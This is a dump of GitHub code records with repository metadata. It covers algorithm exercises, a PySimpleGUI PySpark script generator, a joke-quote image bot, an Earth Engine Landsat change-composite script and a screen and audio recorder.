sum_pan[i][j - 1]\n if i - 1 >= 0 and j - 1 >= 0: # 맨 왼쪽이고 맨 위쪽이 아니면\n left_up = sum_pan[i - 1][j - 1]\n sum_pan[i][j] = pan[i][j] + left + up - left_up\nfor i in range(m):\n a, b, c, d = map(lambda x: int(x) - 1, input().split())\n up = left = left_up = 0\n if a - 1 >= 0:\n up = sum_pan[a - 1][d]\n if b - 1 >= 0:\n left = sum_pan[c][b - 1]\n if a - 1 >= 0 and b - 1 >= 0:\n left_up = sum_pan[a - 1][b - 1]\n now = sum_pan[c][d]\n print(now - up - left + left_up)\n","repo_name":"Rekalux/Algorithm-etc","sub_path":"Only Algorithm/Year2021/Day0322/Boj_11660.py","file_name":"Boj_11660.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41226299070","text":"import PySimpleGUI as sg\r\nimport pandas as pd\r\n\r\nlogo = [[sg.Image(r'C:\\Users\\Henrique\\Downloads\\logo-cielo-256.png')]]\r\n\r\norigem_col = [[sg.T('Source File:', size=(15,1)), sg.In(key='k_path',size=(45,1)), sg.FileBrowse(file_types=((\"CSV Files\", \"*.csv\"),),target='k_path')],\r\n [sg.T('Encoding:', size=(15,1)), sg.In(default_text='UTF-8',key='k_encd',size=(12,1))],\r\n [sg.T('Delimitador:', size=(15,1)), sg.In(default_text=';',key='k_sep',size=(3,1))],\r\n [sg.T('Header:', size=(15,1)), sg.Checkbox('', default=True, key='k_header')],\r\n [sg.Button('Confirmar Origem', key='k_conf_arq')]\r\n ]\r\n\r\ntable_col = [[sg.Text('Clique para renomear colunas'), sg.B('+', key='k_rename_col')],\r\n [sg.Col([[sg.T('Colunas:')]], scrollable=True, key='k_col', size=(540,200))]\r\n ]\r\n\r\ntable_col2 = [[sg.Text('Defina o tipo das colunas')],\r\n [sg.Col([[sg.T('Colunas/Tipos:'), sg.VSeperator(),sg.T('Formato Timestamp no Arquivo (ex: yyyy-MM-dd HH:mm:ss)')]], scrollable=True, key='k_col_type', size=(540,200))]\r\n ]\r\n\r\ntable_col3 = [[sg.Text('Inclua novos campos'), sg.B('+', key='k_add_col_novo')],\r\n [sg.Col([[sg.T('Novo campo:')]], scrollable=True, key='k_col_novo', size=(540,200))]\r\n ]\r\n\r\ntable_col4 = [[sg.Text('Reordene os campos'), sg.B('Iniciar', key='k_order_bt'), sg.B('Confirmar Ordenação', key='k_conf_order_bt', visible=False)],\r\n [sg.Col([[sg.T('Colunas:')]], scrollable=True, key='k_order_col', size=(540,200))]\r\n ]\r\n\r\ntabs_col = [[sg.TabGroup([[sg.Tab('Data Types', table_col2, tooltip='Defina os tipos/colunas'), sg.Tab('Rename Columns', table_col, tooltip='Renomeie as colunas'), sg.Tab('Add Fields', table_col3, tooltip='Inclua novos campos'), sg.Tab('Sort Fields', table_col4, tooltip='Reordenar os campos')]])], [sg.Button('Confirmar Alterações', key='k_conf_alt')]]\r\n\r\ndest_col = [[sg.T('File Destination:', size=(15,1)), sg.In(default_text=\"Destino do parquet no bucket\" ,key='k_path_dest',size=(45,1))],\r\n [sg.T('Name Application:', size=(15,1)), sg.In(key='k_name_app')],\r\n [sg.T('Write Mode:', size=(15,1)), sg.Combo(values=['overwrite','append'], default_value='Selecione o modo de carga...', size=(15,2), readonly=True, key=f'k_write_mode')],\r\n [sg.T('Partitioned table:', size=(15,1)), sg.Checkbox('', default=False, key='k_partition', enable_events= True), sg.In(default_text=\"Digite o campo\" ,key='k_name_partit', visible=False)],\r\n [sg.Button('Confirmar Destino', key='k_conf_dest')]\r\n ]\r\n\r\nbutton_col = [[sg.Button('Gerar Script', key='k_ger_scrt', font=14, button_color='green')]]\r\n\r\ndef make_window2():\r\n layout = [[sg.Push(), sg.Col(logo, element_justification='c'), sg.Push()],\r\n [sg.Col(origem_col, element_justification='l')], \r\n [sg.Col(tabs_col, element_justification='l')],\r\n [sg.Col(dest_col, element_justification='l')], \r\n [sg.Push(),sg.Col(button_col),sg.Push()]\r\n ]\r\n return sg.Window('Window 2', layout, finalize=True)\r\n\r\n##################################################################\r\n\r\ndef make_window1():\r\n layout = [[sg.Col([[sg.Image(r'C:\\Users\\Henrique\\Downloads\\logo-cielo-256.png')]])],\r\n [sg.Col([[sg.Text(\"Escolha a origem dos dados\", font=16)]], element_justification='c')],\r\n [sg.Col([[sg.Button(\"Arquivo\", key=\"k_botao_arq\", font=14), sg.Button(\"Database\", key=\"k_botao_db\", font=14)]], element_justification='c')]\r\n ]\r\n return sg.Window('Window 1', layout, element_justification='c', finalize=True)\r\n\r\n##################################################################\r\n\r\nlogo_sql = [[sg.Image(r'C:\\Users\\Henrique\\Downloads\\logo-cielo-256.png')]]\r\n\r\norigem_col_sql = [[sg.Multiline('Digite seu script sql...', size=(80,10), horizontal_scroll=True, autoscroll=True)],\r\n [sg.Button('Confirmar Origem', key='k_conf_arq')]\r\n ]\r\n\r\ntable_col_sql = [[sg.Text('Clique para renomear colunas'), sg.B('+', key='k_rename_col')],\r\n [sg.Col([[sg.T('Colunas:')]], scrollable=True, key='k_col', size=(540,200))]\r\n ]\r\n\r\ntable_col2_sql = [[sg.Text('Defina o tipo das colunas')],\r\n [sg.Col([[sg.T('Colunas/Tipos:'), sg.VSeperator(),sg.T('Formato Timestamp no Arquivo (ex: yyyy-MM-dd HH:mm:ss)')]], scrollable=True, key='k_col_type', size=(540,200))]\r\n ]\r\n\r\ntable_col3_sql = [[sg.Text('Inclua novos campos'), sg.B('+', key='k_add_col_novo')],\r\n [sg.Col([[sg.T('Novo campo:')]], scrollable=True, key='k_col_novo', size=(540,200))]\r\n ]\r\n\r\ntable_col4_sql = [[sg.Text('Reordene os campos'), sg.B('Iniciar', key='k_order_bt'), sg.B('Confirmar Ordenação', key='k_conf_order_bt', visible=False)],\r\n [sg.Col([[sg.T('Colunas:')]], scrollable=True, key='k_order_col', size=(540,200))]\r\n ]\r\n\r\ntabs_col_sql = [[sg.TabGroup([[sg.Tab('Data Types', table_col2_sql, tooltip='Defina os tipos/colunas'), sg.Tab('Rename Columns', table_col_sql, tooltip='Renomeie as colunas'), sg.Tab('Add Fields', table_col3_sql, tooltip='Inclua novos campos'), sg.Tab('Sort Fields', table_col4_sql, tooltip='Reordenar os campos')]])], [sg.Button('Confirmar Alterações', key='k_conf_alt')]]\r\n\r\ndest_col_sql = [[sg.T('File Destination:', size=(15,1)), sg.In(default_text=\"Destino do parquet no bucket\" ,key='k_path_dest',size=(45,1))],\r\n [sg.T('Name Application:', size=(15,1)), sg.In(key='k_name_app')],\r\n [sg.T('Write Mode:', size=(15,1)), sg.Combo(values=['overwrite','append'], default_value='Selecione o modo de carga...', size=(15,2), readonly=True, key=f'k_write_mode')],\r\n [sg.T('Partitioned table:', size=(15,1)), sg.Checkbox('', default=False, key='k_partition', enable_events= True), sg.In(default_text=\"Digite o campo\" ,key='k_name_partit', visible=False)],\r\n [sg.Button('Confirmar Destino', key='k_conf_dest')]\r\n ]\r\n\r\nbutton_col_sql = [[sg.Button('Gerar Script', key='k_ger_scrt', font=14, button_color='green')]]\r\n\r\ndef make_window3():\r\n layout = [[sg.Push(), sg.Col(logo_sql, element_justification='c'), sg.Push()],\r\n [sg.Col(origem_col_sql, element_justification='l')], \r\n [sg.Col(tabs_col_sql, element_justification='l')],\r\n [sg.Col(dest_col_sql, element_justification='l')], \r\n [sg.Push(),sg.Col(button_col_sql),sg.Push()]\r\n ]\r\n return sg.Window('Window 3', layout, finalize=True)\r\n\r\n##################################################################\r\n\r\nwindow1, window2, window3 = make_window1(), None, None\r\n\r\ni=0\r\nh=0\r\ntypes = ['string','int','long','float','double','timestamp']\r\n\r\nwhile True:\r\n window, event, values = sg.read_all_windows()\r\n\r\n if window == window1:\r\n if event in (sg.WIN_CLOSED, 'Cancel'):\r\n break\r\n if event == 'k_botao_arq':\r\n window1.hide()\r\n window2 = make_window2()\r\n if event == 'k_botao_db':\r\n window1.hide()\r\n window3 = make_window3()\r\n\r\n if window == window3:\r\n if event in (sg.WIN_CLOSED, 'Cancel'):\r\n break\r\n\r\n if window == window2:\r\n if event in (sg.WIN_CLOSED, 'Cancel'):\r\n break\r\n elif event == 'k_conf_arq':\r\n try:\r\n val_path = values['k_path']\r\n val_sep = values['k_sep']\r\n val_header = values['k_header']\r\n val_encd = values['k_encd']\r\n df = pd.read_csv(val_path, sep=val_sep)\r\n column_names = list(df.columns)\r\n for z in range(len(column_names)):\r\n window.extend_layout(window['k_col_type'], [[sg.Push(), sg.T('{}'.format(column_names[z]), key=f'k_col_type_nam{z}'), sg.Combo(values=types, default_value=types[0], size=(25,6), readonly=True, enable_events=True, key=f'k_col_type_val{z}'), sg.In(key=f'k_col_type_fmt{z}')]])\r\n window.visibility_changed()\r\n window['k_col_type'].contents_changed()\r\n except:\r\n sg.popup_error('Você deve selecionar um arquivo primeiro!', title='Error')\r\n\r\n elif event == 'k_rename_col':\r\n try:\r\n window.extend_layout(window['k_col'], [[sg.Combo(values=column_names, default_value='Selecione a coluna...', size=(25,5), readonly=True, key=f'k_col_nam{i}'), sg.In(key=f'k_col_ren{i}')]])\r\n window.visibility_changed()\r\n window['k_col'].contents_changed()\r\n i += 1\r\n except:\r\n sg.popup_error('Você deve selecionar e confirmar um arquivo antes!', title='Error')\r\n\r\n elif event == 'k_add_col_novo':\r\n window.extend_layout(window['k_col_novo'], [[sg.In(default_text='Nome do campo', key=f'k_col_novo_nam{h}', size=(25,1)), sg.In(default_text='Codigo livre em python' ,key=f'k_col_novo_val{h}')]])\r\n window.visibility_changed()\r\n window['k_col_novo'].contents_changed()\r\n h += 1\r\n\r\n elif event == 'k_conf_alt':\r\n try:\r\n list_col_names = []\r\n list_col_renames = []\r\n list_col_type_names = []\r\n list_col_type_vals = []\r\n list_col_novo_nam = []\r\n list_col_novo_val = []\r\n list_col_type_fmt = []\r\n for x in range(i):\r\n col_name= values[f'k_col_nam{x}']\r\n col_rename= values[f'k_col_ren{x}']\r\n list_col_names.append(col_name)\r\n list_col_renames.append(col_rename)\r\n for t in range(h):\r\n col_novo_nam= values[f'k_col_novo_nam{t}']\r\n col_novo_val= values[f'k_col_novo_val{t}']\r\n list_col_novo_nam.append(col_novo_nam)\r\n list_col_novo_val.append(col_novo_val)\r\n for v in range(len(column_names)):\r\n col_type_name= column_names[v]\r\n col_type_val= values[f'k_col_type_val{v}']\r\n col_type_fmt= values[f'k_col_type_fmt{v}']\r\n if col_type_val != 'Selecione o tipo do dado...':\r\n list_col_type_names.append(col_type_name)\r\n list_col_type_vals.append(col_type_val)\r\n list_col_type_fmt.append(col_type_fmt)\r\n else:\r\n sg.popup_error('Obrigatório: Você deve definir o tipo da coluna {}!'.format(column_names[v]), title='Error')\r\n sg.popup_ok('Agora ordene os campos na aba \"Sort Fields\"', title='Aviso')\r\n except:\r\n sg.popup_error('Você deve selecionar e confirmar um arquivo antes!', title='Error') \r\n\r\n elif event == 'k_order_bt':\r\n try:\r\n list_ordered_cols = column_names\r\n if list_col_names:\r\n for i in range(len(list_ordered_cols)):\r\n for j in range(len(list_col_names)):\r\n if list_ordered_cols[i] == list_col_names[j]:\r\n list_ordered_cols[i] = list_col_renames[j]\r\n list_ordered_cols = list_ordered_cols+list_col_novo_nam\r\n for s in range(len(list_ordered_cols)):\r\n window.extend_layout(window['k_order_col'], [[sg.Combo(values=list_ordered_cols, default_value=list_ordered_cols[s], size=(25,5), readonly=True, key=f'k_order_col_nam{s}')]])\r\n window.visibility_changed()\r\n window['k_order_col'].contents_changed()\r\n window['k_conf_order_bt'].update(visible=True)\r\n except:\r\n sg.popup_error('Você deve realizar e confirmar as alterações anteriores!', title='Error')\r\n\r\n elif event == 'k_conf_order_bt':\r\n list_new_ordered_cols = []\r\n for r in range(len(list_ordered_cols)):\r\n new_ordered_cols= values[f'k_order_col_nam{r}']\r\n list_new_ordered_cols.append(new_ordered_cols)\r\n\r\n elif event == 'k_partition':\r\n if values['k_partition'] == True:\r\n window['k_name_partit'].update(visible=True)\r\n else:\r\n window['k_name_partit'].update(visible=False)\r\n\r\n elif event == 'k_conf_dest':\r\n try:\r\n val_path_dest = values['k_path_dest']\r\n val_name_app = values['k_name_app']\r\n val_write_mode = values['k_write_mode']\r\n val_partition = values['k_partition']\r\n val_name_partit = values['k_name_partit']\r\n except:\r\n sg.popup_error('Você deve indicar um caminho destino primeiro!', title='Error')\r\n\r\n elif event == 'k_ger_scrt':\r\n try:\r\n f = open(\"script_python.py\",\"a+\")\r\n\r\n config_spark = [\"# -*- coding: utf-8 -*-\\n\",\r\n \"from pyspark import SparkConf, SparkContext\\n\",\r\n \"from pyspark.conf import SparkConf\\n\",\r\n \"from pyspark.sql import SparkSession, Dataframe, SQLContext\\n\",\r\n \"from pyspark.sql.functions import *\\n\",\r\n \"from pyspark.sql.types import *\\n\",\r\n \"from datetime import datetime, timedelta, date\\n\",\r\n \"import time\\n\",\r\n \"import os\\n\",\r\n \"import sys\\n\\n\",\r\n\r\n \"spark = SparkSession \\\\\\n\",\r\n \" .builder \\\\\\n\",\r\n \" .master('local[*]') \\\\\\n\",\r\n \" .appname('{}') \\\\\\n\".format(val_name_app),\r\n \" .config('hive.exec.dynamic.partition.mode', 'nonstrict') \\\\\\n\",\r\n \" .getOrCreate()\\n\\n\"\r\n ]\r\n\r\n f.writelines(config_spark)\r\n f.write(\"df = spark.read.options(header='{f_header}', delimiter='{f_sep}', encoding='{f_encd}').csv('{f_path}')\\n\\n\".format(f_sep=val_sep, f_path=val_path, f_header=val_header, f_encd=val_encd))\r\n\r\n for u in range(len(list_col_type_names)):\r\n if list_col_type_vals[u] != 'timestamp':\r\n f.write(\"df = df.withColumn('{}',col('{}').cast('{}'))\\n\".format(list_col_type_names[u], list_col_type_names[u], list_col_type_vals[u]))\r\n else:\r\n f.write(\"df = df.withColumn('{}', to_timestamp('{}','{}'))\\n\".format(list_col_type_names[u], list_col_type_names[u], list_col_type_fmt[u]))\r\n \r\n if list_col_names:\r\n for y in range(len(list_col_names)):\r\n f.write(\"df = df.withColumnRenamed('{}','{}')\\n\".format(list_col_names[y], list_col_renames[y]))\r\n else:\r\n pass\r\n\r\n if list_col_novo_nam:\r\n for s in range(len(list_col_novo_nam)):\r\n f.write(\"df = df.withColumn('{}',{})\\n\".format(list_col_novo_nam[s], list_col_novo_val[s]))\r\n else:\r\n pass\r\n\r\n f.write(\"\\ncolunas_ordenadas = {}\\n\\n\".format(list_new_ordered_cols))\r\n f.write(\"df = df.select(*colunas_ordenadas)\\n\\n\")\r\n\r\n if val_partition == True:\r\n f.write(\"df.coalesce(1).write.mode('{}').partitionBy('{}').parquet('{}')\\n\".format(val_write_mode ,val_name_partit ,val_path_dest))\r\n else:\r\n f.write(\"df.coalesce(1).write.mode('{}').parquet('{}')\\n\".format(val_write_mode ,val_path_dest))\r\n except:\r\n sg.popup_error('Você deve confirmar as alterações anteriores antes!', title='Error')\r\n\r\nwindow.close()\r\n\r\n############ ROTEIRO ##################\r\n# 1 - Criar função de campo novo - OK\r\n# 2 - Criar função de ordenar campos\r\n# 3 - Incluir campo de caminho destino da tabela (nome app, caminho dest, write mode, partição) - OK\r\n# 4 - Corrigir campo tipo Timestamp, incluindo format de datahora - OK\r\n# 5 - Criar função de criar a tabela\r\n# 6 - Colocar um Logo e identidade visual\r\n\r\n","repo_name":"Riquemaia/AppPython","sub_path":"TesteApp2023.py","file_name":"TesteApp2023.py","file_ext":"py","file_size_in_byte":16327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25625028125","text":"from PIL import Image\nfrom PIL import ImageFont\nfrom PIL import ImageDraw\nimport random\nimport time\n\ndef new_inspire(txt):\n name = \"assets/pics/wallpapers/temp.jpg\"\n text = txt\n quote = \"\"\n\n random.seed(time.time())\n rand_quote = random.randint(1, 16)\n if( rand_quote == 1 ):\n quote = \"Go Fuck Yourself.\"\n elif(rand_quote == 2):\n quote = \"The Universe Don't Seem Like It Be, But It Do.\"\n elif(rand_quote == 3):\n quote = \"Waterboarding at Guantanamo Bay sounds super rad if you don't know what either of those things are.\"\n elif(rand_quote == 4):\n quote = \"There should be confetti in tires so when there is a blow out it's still kind of an okay day\"\n elif(rand_quote == 5):\n quote = \"Of all the bodily functions that could be contagious, thank god it's the yawn.\"\n elif(rand_quote == 6):\n quote = \"'DO NOT TOUCH' would probably be a really unsettling thing to read in braille.\"\n elif(rand_quote == 7):\n quote = \"The best item to protect you from sasquatch attacks is a camera.\"\n elif(rand_quote == 8):\n quote = \"Bushing your teeth is the only time you clean your skeleton\"\n elif(rand_quote == 9):\n quote = \"Making fun of a fat person at the gym is like making fun of a homeless person at a job fair.\"\n elif(rand_quote == 10):\n quote = \"Dogs probably destroy shoes because they see humans put them on before they leave the house.\"\n elif(rand_quote == 11):\n quote = \"The sinking of the Titanic must have been a miracle to the lobsters in the kitchen.\"\n elif(rand_quote == 12):\n quote = \"If Goldilocks tried three beds, then Momma Bear and Daddy Bear slept seperately. Baby Bear is probably the \\nonly thing keeping the family together.\"\n elif(rand_quote == 13):\n quote = \"When you drink alcohol you are just borrowing happiness from tomorrow\"\n elif(rand_quote == 14):\n quote = \"What are snails even trying to do\"\n elif(rand_quote == 15):\n quote = \"Dog food could say it's any flavor it wants, you're not going to test it.\"\n elif(rand_quote == 16):\n quote = \"Kissing just makes a big tube with assholes on either end.\"\n\n\n random.seed(time.time() + 839201)\n rand_wallpaper = random.randint(1, 5)\n wallpaper = \"assets/pics/wallpapers/{}.jpg\".format(rand_wallpaper)\n\n img = Image.open(wallpaper)\n draw = ImageDraw.Draw(img)\n font = ImageFont.truetype(\"assets/fonts/comic-sans.ttf\", 35)\n draw.text((27, 23), \"@\" + text + \"\\n\" + quote, (0, 0, 0), font=font)\n draw.text((25, 25), \"@\" + text + \"\\n\" + quote, (255, 255, 255), font=font)\n img.save(name)\n","repo_name":"Shensd/ShenbotPython","sub_path":"inspire.py","file_name":"inspire.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6107803000","text":"import ee\n\nclass diffMedian():\n def __init__(self):\n self.exportPath = 'users/TEST/'\n self.epsg = \"EPSG:32717\"\n self.ecoregions = ee.FeatureCollection(\"projects/Sacha/AncillaryData/StudyRegions/Ecuador_EcoRegions_Buffered\")\n \n self.nDayBuffer = 7*10\n self.diffCountMin = 3\n self.biweeklyIC = 'projects/Sacha/PreprocessedData/L8_Biweekly_V6'\n\n\n def smartJoin(self,primary,secondary,julianDiff):\n \"\"\"Function for joining based on max julian difference. Assumes startJulian and endJulian are set.\"\"\"\n #Create a time filter to define a match as overlapping timestamps.\n maxDiffFilter = ee.Filter.Or(\n ee.Filter.maxDifference(\n difference = julianDiff,\n leftField = 'startJulian',\n rightField = 'endJulian'),\n ee.Filter.maxDifference(\n difference = julianDiff,\n leftField = 'startJulian',\n rightField = 'endJulian'\n )\n )\n\n # Define the join.\n saveAllJoin = ee.Join.saveAll(\n matchesKey = 'matches',\n measureKey = 'dayDiff'\n )\n\n #Apply the join.\n joined = saveAllJoin.apply(primary, secondary, maxDiffFilter)\n\n return joined\n\n def mergeMany(self,img,secondaryProperty,sortProperty):\n \"\"\"Function to get the many secondaries and choose the first non null value\"\"\"\n img = ee.Image(img)\n secondaries = img.get(secondaryProperty)\n secondaries = ee.ImageCollection.fromImages(secondaries).sort(sortProperty)\n secondaries1 = secondaries.filter(ee.Filter.calendarRange(preYearPrimary,preYearPrimary,'year'))\n secondaries2 = secondaries.filter(ee.Filter.calendarRange(preYearSecondary,preYearSecondary,'year'))\n\n secondary1Composite = ee.Image(self.weightedCombiner(secondaries1))\n secondary2Composite = ee.Image(self.weightedCombiner(secondaries2))\n secondariesMosaiced = ee.ImageCollection([secondary1Composite,secondary2Composite]).mosaic()\n\n return img.addBands(secondariesMosaiced)\n\n def weightedCombiner(self,matches):\n \"\"\"Function to take a set of matches and create a weighted median composite. Assumes the dayDiff property is set.\"\"\"\n\n #Find the unique dayDiffs.\n matchesHist = ee.Dictionary(matches.aggregate_histogram('dayDiff'))\n\n #Convert it back to a number.\n def convertkeys(n):\n return ee.Number.parse(n).float()\n\n keys = matchesHist.keys().map(convertkeys)\n\n #Find the min and max of the dayDiffs and min max 0-1 stretch. Then reverse it and add 1 sdo the repeated values are from 1-20.\n minKey = keys.reduce(ee.Reducer.min())\n maxKey = keys.reduce(ee.Reducer.max())\n\n def normedn(n):\n return (ee.Number(n).subtract(minKey)).divide(ee.Number(minKey).add(maxKey))\n\n def normedreverse(n):\n return ee.Number(n).multiply(-1).add(1).multiply(20).int16()\n\n normedkeys = keys.map(normedn)\n normed = normedkeys.map(normedreverse)\n\n #Zip them together\n zipped = keys.zip(normed)\n\n def keyWeight(kw):\n keyWeight = ee.List(kw)\n key = keyWeight.get(0)\n weight = keyWeight.get(1)\n\n #Get images for given dayDiff.\n imgs = matches.filter(ee.Filter.eq('dayDiff',ee.Number(key)))\n\n def keyweightrepeat(img):\n return ee.ImageCollection(ee.List.repeat(ee.Image(img),ee.Number(weight)))\n\n #Repeat the images based on the weight.\n rep = ee.ImageCollection(ee.FeatureCollection(imgs.map(keyweightrepeat)).flatten())\n\n return rep\n\n repeated = zipped.map(keyWeight)\n\n #Flatten and compute median\n out = ee.ImageCollection(ee.FeatureCollection(repeated).flatten()).median()\n\n return ee.Image(out)\n\n def setJulian(self,img):\n \"\"\"Function for setting start and end julians based on system:time_start. Assumes a 14 day diff inclusive of the first day.\"\"\"\n d = ee.Date(img.get('system:time_start'))\n startJulian = d.getRelative('day','year')\n endJulian = startJulian.add(13)\n return img.set({'startJulian':startJulian,'endJulian':endJulian})\n\n def simpleAddIndices(self,in_image):\n \"\"\"Function for only adding common indices.\"\"\"\n in_image = in_image.addBands(in_image.normalizedDifference(['nir','red']).select([0],['NDVI']))\n in_image = in_image.addBands(in_image.normalizedDifference(['nir','swir2']).select([0], ['NBR']))\n in_image = in_image.addBands(in_image.normalizedDifference(['nir','swir1']).select([0], ['NDMI']))\n in_image = in_image.addBands(in_image.normalizedDifference(['green','swir1']).select([0], ['NDSI']))\n return in_image\n\n def cReducer(self,img):\n m = img.mask().reduce(ee.Reducer.min()).focal_min(3.5)\n return img.updateMask(m)\n\n def joinedmerge(self,img):\n return ee.Image(self.mergeMany(img,'matches','dayDiff'))\n \n def joinedmerge2(self,l):\n def joinedmerge(img):\n return ee.Image(self.mergeMany(img,'matches','dayDiff'))\n l = l.map(joinedmerge)\n return ee.ImageCollection(l)\n \n #Find the t2-t1 difference for each time period.\n def joineddiff(self,img):\n t1T = img.select(['.*_2014'])\n t2T = img.select(['.*_2016'])\n return img.addBands(t2T.subtract(t1T).rename(self.bnsDiff))\n \n def addsuffix(self,l,suffix):\n def base(bn):\n return ee.String(bn).cat(suffix)\n return l.map(base)\n \n def exportMap(self,img,studyArea):\n img = img\n ed = str(postYear)\n sd = str(preYearPrimary)\n regionName = ProcessingRegion.replace(\" \",'_') + \"_\"\n\n task_ordered= ee.batch.Export.image.toAsset(image=img.clip(studyArea), \n description = regionName + '_Diff_Comp_rSA_2lst_' + sd + '_' + ed, \n assetId = self.exportPath + regionName + '_Diff_Comp' + sd + '_' + ed,\n region = studyArea.bounds().getInfo()['coordinates'], \n maxPixels = 1e13,\n crs = self.epsg,\n scale = 30)\n\n task_ordered.start()\n print('Export Started: ',self.exportPath + regionName + '_Diff_Comp' + sd + '_' + ed)\n \n def main(self,ProcessingRegion,postYear,preYearPrimary,preYearSecondary,exportImg=False):\n studyArea = self.ecoregions.filter(ee.Filter.eq(\"PROVINCIA\", ProcessingRegion)).geometry().buffer(1000)\n\n c = ee.ImageCollection(self.biweeklyIC).filter(ee.Filter.eq('regionName',ProcessingRegion)).map(self.cReducer).map(self.simpleAddIndices)\n\n bns = ee.List(['blue','green','red','nir','swir1','swir2','NDVI','NBR','NDMI'])\n\n c = c.select(bns)\n\n #Append endings to band names\n bnsT1 = self.addsuffix(bns,'_2014')\n bnsT2 = self.addsuffix(bns,'_2016')\n self.bnsDiff = self.addsuffix(bns,'_2014_2016_diff')\n\n #Filter off the two years of data\n\n t1 = c.filter(ee.Filter.calendarRange(preYearPrimary,preYearSecondary,'year')).select(bns,bnsT1).map(self.setJulian)\n t2 = c.filter(ee.Filter.calendarRange(postYear,postYear,'year')).select(bns,bnsT2).map(self.setJulian)\n print(t2.first().bandNames().getInfo())\n\n joined = ee.ImageCollection(self.smartJoin(t2,t1,self.nDayBuffer))\n\n joined = joined.toList(500)#.map(self.joinedmerge)\n joined = self.joinedmerge2(joined)\n print(joined.first().bandNames().getInfo(),'join')\n\n diff = joined.map(self.joineddiff)\n\n diffMedian = diff.median()\n diffCount = diff.select(['.*_diff']).count().reduce(ee.Reducer.min())\n diffMedian = diffMedian.updateMask(diffCount.gte(self.diffCountMin))\n\n \n print(diffMedian.getInfo())\n if exportImg:\n self.exportMap(diffMedian,studyArea)\n\n return diffMedian\n\nif __name__ == \"__main__\":\n ee.Initialize()\n\n ProcessingRegion = 'GALAPAGOS'\n \n postYear = 2016\n preYearPrimary = 2014\n preYearSecondary = 2013\n\n exportImg = True\n\n diffMedian().main(ProcessingRegion,postYear,preYearPrimary,preYearSecondary,exportImg)\n","repo_name":"sig-gis/Ecuador_SEPAL","sub_path":"diffMedian.py","file_name":"diffMedian.py","file_ext":"py","file_size_in_byte":8339,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"78"} +{"seq_id":"34385825509","text":"n=[]\r\ncount=0\r\nsum=0.0\r\nfor i in range(6):\r\n t=float(input())\r\n n.append(t)\r\n if n[i]>0:\r\n sum=sum+n[i]\r\n count=count+1\r\n avg=(sum/count)\r\nprint(\"%d valores positivos\"%count)\r\nprint(\"%.1lf\"%avg)","repo_name":"3207-Rhims/uri-solve","sub_path":"uri1064.py","file_name":"uri1064.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18617067095","text":"import cv2\nimport numpy as np\nimport pyautogui\nimport pyaudio\nimport wave\nimport threading\nimport os\n\n# Função para renomear arquivos caso já existam na pasta \ndef verify_name_file(name_file):\n base_name, extension = os.path.splitext(name_file)\n counter = 1\n\n while os.path.exists(name_file):\n name_file = f\"{base_name}_{counter}{extension}\"\n counter += 1\n\n return name_file\n\n# Configurando recording \nis_recording = True\n\n# Configurando nomes de arquivo de audio e video default\ndf_video_name = \"video.avi\"\ndf_audio_name = \"audio.wav\"\n\n# Configurando vídeo\nscreen_size = pyautogui.size()\nfourcc = cv2.VideoWriter_fourcc(*\"XVID\")\nfps = 20.0\nfilename_video = verify_name_file(df_video_name)\nout = cv2.VideoWriter(filename_video, fourcc, fps, screen_size)\n\n# Configurando audio\nfilename_audio = verify_name_file(df_audio_name)\nchunk = 1024\nsample_format = pyaudio.paInt16\nchannels = 2 # Estério \nfs = 44100 # Sample rate\n\np = pyaudio.PyAudio()\nstream = p.open(format=sample_format,\n channels=channels,\n rate=fs,\n frames_per_buffer=chunk,\n input=True)\n\nframes = []\n\n# Função para capturar vídeo\ndef capture_video():\n while is_recording:\n img = pyautogui.screenshot()\n frame = np.array(img)\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n out.write(frame)\n\n# Função para capturar áudio\ndef capture_audio():\n while is_recording:\n data = stream.read(chunk)\n frames.append(data)\n\n# Começar a gravar\nvideo_thread = threading.Thread(target=capture_video)\naudio_thread = threading.Thread(target=capture_audio)\nvideo_thread.start()\naudio_thread.start()\n\n# Para parar a gravação, pressione 'q'\nkey = input(\"Press q to stop: \")\nif key == 'q':\n\n # Finalizar whiles de áudio e vídeo\n is_recording = False\n \n # Finalizar a gravação de vídeo\n out.release()\n cv2.destroyAllWindows()\n \n # Finalizar a gravação de áudio\n stream.stop_stream()\n stream.close()\n p.terminate()\n \n wf = wave.open(filename_audio, 'wb')\n wf.setnchannels(channels)\n wf.setsampwidth(p.get_sample_size(sample_format))\n wf.setframerate(fs)\n wf.writeframes(b''.join(frames))\n wf.close()","repo_name":"h3nriq/video-recorder","sub_path":"recorder_with_microfone.py","file_name":"recorder_with_microfone.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32625949495","text":"def solution(numbers):\n from itertools import permutations\n answer = []\n num_lst = [ str(n) for n in numbers]\n per_lst = []\n for j in range(1,len(num_lst)+1):\n for i in permutations(num_lst,j):\n num = \"\".join(i)\n per_lst.append(num)\n per_lst = list(set(map(int, per_lst)))\n print(\"per_lst\", per_lst)\n for p in per_lst:\n if p <=0 or p ==1 :\n continue\n elif p ==2:\n answer.append(p)\n else:\n for k in range(2,(p//2)+2): #for 문 다 돌았는데도 나머지가 0 아닌건 소수로 인정\n if p%k ==0:\n break\n elif k == (p//2)+1:\n if p%k !=0:\n answer.append(p)\n return len(answer)","repo_name":"ga0808/algorithm","sub_path":"프로그래머스/lv2/42839. 소수 찾기/소수 찾기.py","file_name":"소수 찾기.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41041243273","text":"# 시작 시각과 조리에 필요한 시간을 분단위로 주어졌을 때,\n# 끝나는 시각을 계산하는 프로그램\n# 23시 59분에서 1분이 지나면 0시 0분\n\n# 현재 시각\nA, B = map(int, input().split())\n\n# 필요한 시간\nC = int(input())\n\nhour = C//60\nminute = C%60\n\nB += minute\nif B>=60:\n B -= 60\n A += 1\n\nA += hour\nif A>23:\n A 